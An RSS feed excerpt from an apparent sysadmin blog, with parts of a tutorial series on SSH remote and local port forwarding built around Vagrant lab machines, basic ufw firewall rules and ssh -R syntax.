</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!rIoL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!rIoL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png 424w, https://substackcdn.com/image/fetch/$s_!rIoL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png 848w, https://substackcdn.com/image/fetch/$s_!rIoL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png 1272w, https://substackcdn.com/image/fetch/$s_!rIoL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!rIoL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png" width="905" height="428" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:428,&quot;width&quot;:905,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:88116,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/180338175?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!rIoL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png 424w, https://substackcdn.com/image/fetch/$s_!rIoL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png 848w, https://substackcdn.com/image/fetch/$s_!rIoL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png 1272w, https://substackcdn.com/image/fetch/$s_!rIoL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>from kay-pc:</p><pre><code><code>$ vagrant ssh kay-pc
$ ping aws-pub-instance
$ ping james-lap
</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!quWs!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!quWs!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png 424w, https://substackcdn.com/image/fetch/$s_!quWs!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png 848w, https://substackcdn.com/image/fetch/$s_!quWs!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png 1272w, https://substackcdn.com/image/fetch/$s_!quWs!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!quWs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png" width="905" height="458" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:458,&quot;width&quot;:905,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:86448,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/180338175?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!quWs!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png 424w, https://substackcdn.com/image/fetch/$s_!quWs!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png 848w, https://substackcdn.com/image/fetch/$s_!quWs!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png 1272w, https://substackcdn.com/image/fetch/$s_!quWs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>As you can see, both James and Kay can reach the aws-pub-instance, but they cannot reach each other directly. and Also just to be sure that james&#8217;s local web application is running, let&#8217;s curl it from james-lap:</p><pre><code><code>$ curl localhost</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!LTZV!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!LTZV!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png 424w, https://substackcdn.com/image/fetch/$s_!LTZV!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png 848w, https://substackcdn.com/image/fetch/$s_!LTZV!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png 1272w, https://substackcdn.com/image/fetch/$s_!LTZV!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!LTZV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png" width="905" height="237" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:237,&quot;width&quot;:905,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:35059,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/180338175?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!LTZV!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png 424w, https://substackcdn.com/image/fetch/$s_!LTZV!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png 848w, https://substackcdn.com/image/fetch/$s_!LTZV!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png 1272w, https://substackcdn.com/image/fetch/$s_!LTZV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Great! The web application is up and running on James&#8217;s laptop. Now, let&#8217;s set up the remote port forwarding from james-lap to aws-pub-instance.</p><h3><strong>Creating the Remote SSH Tunnel</strong></h3><p>The <strong>syntax</strong> looks similar to local port forwarding, but with the <strong>-R</strong> option and reversed order of ports:</p><pre><code>$ ssh -N -R &lt;remote-address&gt;:&lt;remote_port&gt;:&lt;local_address&gt;:&lt;local_port&gt; user@remote_public_ssh_server</code></pre><p>Again we will break this down in a bit, but for now, let&#8217;s run the command on james-lap to create the remote tunnel:</p><p></p>
      <p>
          <a href="https://blog.sysxplore.com/p/part-2-ssh-remote-port-forwarding">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Part 1: SSH Tunnels Deep Dive - Local Port Forwarding]]></title><description><![CDATA[Most people only use SSH for logging into a remote machine, and they never look beyond that.]]></description><link>https://blog.sysxplore.com/p/part-1-ssh-local-port-forwarding</link><guid isPermaLink="false">https://blog.sysxplore.com/p/part-1-ssh-local-port-forwarding</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Mon, 01 Dec 2025 17:11:51 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/b0c239cf-c6ef-4c4a-b685-c029b00e0e07_1750x1250.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Most people only use <strong>SSH</strong> for logging into a remote machine, and they never look beyond that. But SSH can do far more than provide a secure shell. One of its most <strong>powerful but overlooked features</strong> is <strong>tunneling</strong>, the ability to move traffic through an <strong>encrypted channel</strong> and reach services you normally can&#8217;t access.</p><p>This becomes incredibly useful once you start dealing with servers behind <strong>firewalls</strong>, <strong>private subnets</strong>, or <strong>NAT boundaries</strong>. A service might be running somewhere in the network, but you have no direct way of reaching it. With SSH tunneling, you don&#8217;t need to expose ports publicly or ask for firewall changes, you simply reuse the SSH connection you already have.</p><p>Think of an SSH session as a <strong>secure pipe</strong>. Normally, you use it to send commands. But that same pipe can carry <em>anything</em>: database requests, web traffic, API calls, as long as it&#8217;s TCP. SSH gives you the flexibility to redirect that traffic in different directions depending on what you need to reach.</p><p>At first, SSH tunnels feel confusing. That&#8217;s normal. Many admins and developers struggle with them until they see them demonstrated in real scenarios and work through them hands-on. That&#8217;s the goal of this series: to break down <strong>SSH</strong> tunneling into clear, practical parts, each one supported by labs you can run on your own machine. All the lab files are available in the <a href="https://github.com/thatstraw/ssh-tunnels-labs/">GitHub repository</a>.</p><p>This series will cover the four major types of SSH tunnels:</p><ul><li><p>Local Port Forwarding</p></li><li><p>Remote Port Forwarding</p></li><li><p>Proxy Tunneling through a Bastion Host</p></li><li><p>Dynamic Port Forwarding (SOCKS5)</p></li></ul><p>Each part focuses on one pattern, explains when it&#8217;s useful, and walks you through a complete lab environment that demonstrates the behaviour step by step.</p><p>In this first part, we&#8217;ll start with the most familiar one, <strong>Local Port Forwarding</strong>, and see how a simple SSH connection can give you access to services that would normally be unreachable.</p><h2>Local Port Forwarding</h2><p><strong>Local port forwarding</strong> is usually the first tunneling feature people encounter because it feels intuitive: you open a port on your own machine, and any traffic you send to that port gets delivered to a service running somewhere else. Nothing about the service changes. It still listens on its normal port, on its own network, but your laptop gains a <strong>private, encrypted shortcut</strong> straight to it.</p><p>A useful way to think about local forwarding is to imagine you&#8217;re standing outside a building. You can&#8217;t walk in, but you can open a small window on your side and slide data through it. SSH takes whatever goes into that window and carries it to the room you specify inside the building. From your local machine&#8217;s point of view, the service looks like it&#8217;s running right on your laptop, even if it&#8217;s actually behind several layers of restrictions.</p><p>One common situation where a local tunnel becomes invaluable is when you&#8217;re on a network where a server allows SSH access but blocks everything else, no HTTP, no HTTPS, nothing. Maybe the service you need is a website running on port 80 or 8080, but the <strong>firewall won&#8217;t let you reach it directly</strong>. Instead of requesting firewall changes or exposing the service publicly, you simply open an SSH local tunnel. Your HTTP traffic then rides inside the encrypted SSH connection and reaches the webserver without being blocked.</p><p>Let&#8217;s jump into the lab and see this in action.</p><h2>Lab Setup</h2><p>I have two machines set up:</p><ul><li><p><strong>Client</strong> &#8211; 192.168.60.10 (this is where I&#8217;ll run my SSH command)</p></li><li><p><strong>Webserver</strong> &#8211; 192.168.60.11 (this machine is running a simple website and allows SSH access)</p></li></ul><p>For now, the client can still access the webserver directly over HTTP. We&#8217;ll simulate a firewall blocking this access shortly. But first, let&#8217;s confirm the webserver is actually reachable, from the client run:</p><pre><code><code>$ vagrant ssh client
$ curl http://webserver</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!DDMC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fee03175b-e7a3-4720-8f77-a7328f364399_907x374.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!DDMC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fee03175b-e7a3-4720-8f77-a7328f364399_907x374.png 424w, https://substackcdn.com/image/fetch/$s_!DDMC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fee03175b-e7a3-4720-8f77-a7328f364399_907x374.png 848w, https://substackcdn.com/image/fetch/$s_!DDMC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fee03175b-e7a3-4720-8f77-a7328f364399_907x374.png 1272w, https://substackcdn.com/image/fetch/$s_!DDMC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fee03175b-e7a3-4720-8f77-a7328f364399_907x374.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!DDMC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fee03175b-e7a3-4720-8f77-a7328f364399_907x374.png" width="907" height="374" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ee03175b-e7a3-4720-8f77-a7328f364399_907x374.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:374,&quot;width&quot;:907,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:47067,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/180338061?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fee03175b-e7a3-4720-8f77-a7328f364399_907x374.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!DDMC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fee03175b-e7a3-4720-8f77-a7328f364399_907x374.png 424w, https://substackcdn.com/image/fetch/$s_!DDMC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fee03175b-e7a3-4720-8f77-a7328f364399_907x374.png 848w, https://substackcdn.com/image/fetch/$s_!DDMC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fee03175b-e7a3-4720-8f77-a7328f364399_907x374.png 1272w, https://substackcdn.com/image/fetch/$s_!DDMC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fee03175b-e7a3-4720-8f77-a7328f364399_907x374.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>As you can see, the webserver responds normally.</p><h2><strong>Simulating a Firewall Block</strong></h2><p>Now, let&#8217;s block all incoming traffic on the webserver except SSH. We&#8217;ll do this by setting a simple <strong>firewall rule</strong> on the webserver:</p><pre><code><code>$ vagrant ssh webserver
$ sudo ufw allow ssh
$ sudo ufw enable</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!T7WU!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c634967-0fc8-4103-a346-3d1a0e74be98_907x276.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!T7WU!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c634967-0fc8-4103-a346-3d1a0e74be98_907x276.png 424w, https://substackcdn.com/image/fetch/$s_!T7WU!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c634967-0fc8-4103-a346-3d1a0e74be98_907x276.png 848w, https://substackcdn.com/image/fetch/$s_!T7WU!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c634967-0fc8-4103-a346-3d1a0e74be98_907x276.png 1272w, https://substackcdn.com/image/fetch/$s_!T7WU!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c634967-0fc8-4103-a346-3d1a0e74be98_907x276.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!T7WU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c634967-0fc8-4103-a346-3d1a0e74be98_907x276.png" width="907" height="276" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7c634967-0fc8-4103-a346-3d1a0e74be98_907x276.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:276,&quot;width&quot;:907,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:45635,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/180338061?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c634967-0fc8-4103-a346-3d1a0e74be98_907x276.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!T7WU!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c634967-0fc8-4103-a346-3d1a0e74be98_907x276.png 424w, https://substackcdn.com/image/fetch/$s_!T7WU!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c634967-0fc8-4103-a346-3d1a0e74be98_907x276.png 848w, https://substackcdn.com/image/fetch/$s_!T7WU!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c634967-0fc8-4103-a346-3d1a0e74be98_907x276.png 1272w, https://substackcdn.com/image/fetch/$s_!T7WU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c634967-0fc8-4103-a346-3d1a0e74be98_907x276.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg 